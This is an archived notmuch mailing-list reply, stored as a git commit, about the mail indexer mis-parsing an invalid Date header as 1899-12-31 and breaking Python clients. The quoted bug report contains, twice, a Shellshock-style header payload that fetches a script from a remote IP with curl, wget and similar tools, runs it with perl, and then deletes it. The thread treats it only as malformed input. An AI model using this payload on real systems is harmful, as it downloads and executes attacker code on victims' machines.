Re: bug: notmuch cannot handle invalid Date fields
authorTomi Ollila <tomi.ollila@iki.fi>
Wed, 22 Apr 2015 13:37:15 +0000 (16:37 +0300)
committerW. Trevor King <wking@tremily.us>
Sat, 20 Aug 2016 21:48:51 +0000 (14:48 -0700)
49/ddac5ad020822db8b923eb6e62380a8fb672e5 [new file with mode: 0644]

diff --git a/49/ddac5ad020822db8b923eb6e62380a8fb672e5 b/49/ddac5ad020822db8b923eb6e62380a8fb672e5
new file mode 100644 (file)
index 0000000..2c78bf0
--- /dev/null
@@ -0,0 +1,90 @@
+Return-Path: <tomi.ollila@iki.fi>\r
+X-Original-To: notmuch@notmuchmail.org\r
+Delivered-To: notmuch@notmuchmail.org\r
+Received: from localhost (localhost [127.0.0.1])\r
+ by arlo.cworth.org (Postfix) with ESMTP id 904EB6DE14F0\r
+ for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 06:37:42 -0700 (PDT)\r
+X-Virus-Scanned: Debian amavisd-new at cworth.org\r
+X-Spam-Flag: NO\r
+X-Spam-Score: 1.136\r
+X-Spam-Level: *\r
+X-Spam-Status: No, score=1.136 tagged_above=-999 required=5 tests=[AWL=0.483, \r
+ NORMAL_HTTP_TO_IP=0.001, SPF_NEUTRAL=0.652] autolearn=disabled\r
+Received: from arlo.cworth.org ([127.0.0.1])\r
+ by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024)\r
+ with ESMTP id Kk4c7w3twSpS for <notmuch@notmuchmail.org>;\r
+ Wed, 22 Apr 2015 06:37:40 -0700 (PDT)\r
+Received: from guru.guru-group.fi (guru.guru-group.fi [46.183.73.34])\r
+ by arlo.cworth.org (Postfix) with ESMTP id CA44F6DE147B\r
+ for <notmuch@notmuchmail.org>; Wed, 22 Apr 2015 06:37:39 -0700 (PDT)\r
+Received: from guru.guru-group.fi (localhost [IPv6:::1])\r
+ by guru.guru-group.fi (Postfix) with ESMTP id 808DC100033;\r
+ Wed, 22 Apr 2015 16:37:15 +0300 (EEST)\r
+From: Tomi Ollila <tomi.ollila@iki.fi>\r
+To: Johannes Schauer <j.schauer@email.de>, notmuch@notmuchmail.org\r
+Subject: Re: bug: notmuch cannot handle invalid Date fields\r
+In-Reply-To: <20150422065630.6330.90536@hoothoot>\r
+References: <20150422065630.6330.90536@hoothoot>\r
+User-Agent: Notmuch/0.19+107~gab55bdb (http://notmuchmail.org) Emacs/24.3.1\r
+ (x86_64-unknown-linux-gnu)\r
+X-Face: HhBM'cA~<r"^Xv\KRN0P{vn'Y"Kd;zg_y3S[4)KSN~s?O\"QPoL\r
+ $[Xv_BD:i/F$WiEWax}R(MPS`^UaptOGD`*/=@\1lKoVa9tnrg0TW?"r7aRtgk[F\r
+ !)g;OY^,BjTbr)Np:%c_o'jj,Z\r
+Date: Wed, 22 Apr 2015 16:37:15 +0300\r
+Message-ID: <m2vbgo8et0.fsf@guru.guru-group.fi>\r
+MIME-Version: 1.0\r
+Content-Type: text/plain\r
+X-BeenThere: notmuch@notmuchmail.org\r
+X-Mailman-Version: 2.1.18\r
+Precedence: list\r
+List-Id: "Use and development of the notmuch mail system."\r
+ <notmuch.notmuchmail.org>\r
+List-Unsubscribe: <http://notmuchmail.org/mailman/options/notmuch>,\r
+ <mailto:notmuch-request@notmuchmail.org?subject=unsubscribe>\r
+List-Archive: <http://notmuchmail.org/pipermail/notmuch/>\r
+List-Post: <mailto:notmuch@notmuchmail.org>\r
+List-Help: <mailto:notmuch-request@notmuchmail.org?subject=help>\r
+List-Subscribe: <http://notmuchmail.org/mailman/listinfo/notmuch>,\r
+ <mailto:notmuch-request@notmuchmail.org?subject=subscribe>\r
+X-List-Received-Date: Wed, 22 Apr 2015 13:37:42 -0000\r
+\r
+On Wed, Apr 22 2015, Johannes Schauer <j.schauer@email.de> wrote:\r
+\r
+> Hi,\r
+>\r
+> I recently received an email with the following date field (the value of all\r
+> other headers is the same):\r
+>\r
+> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;\r
+>\r
+> When doing `notmuch search lwp-download` I get:\r
+>\r
+> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)\r
+>\r
+> You can see that the date is 1899-12-31 which is wrong.\r
+>\r
+> This is annoying because the python module datetime which is for example used\r
+> by the notmuch client alot cannot handle dates before the year 1900 and will\r
+> thus never show this email in its thread view but instead display an exception\r
+> every time the view is refreshed.\r
+\r
+What do you mean by that datetime cannot handle dates before 1900 ?\r
+\r
+:  $ python\r
+:  Python 2.7.6 (default, Mar 22 2014, 22:59:56)\r
+:  ...\r
+:  >>> datetime.datetime.strptime('1799-11', '%Y-%m')\r
+:  datetime.datetime(1799, 11, 1, 0, 0)\r
+:  >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')\r
+:  >>> x.isoformat()\r
+:  '1799-11-01T00:00:00'\r
+\r
+Tomi\r
+\r
+\r
+> It would be great if an invalid date could either somehow default to a nil\r
+> value or be a date that is 1900 or later.\r
+>\r
+> Thanks!\r
+>\r
+> cheers, josch\r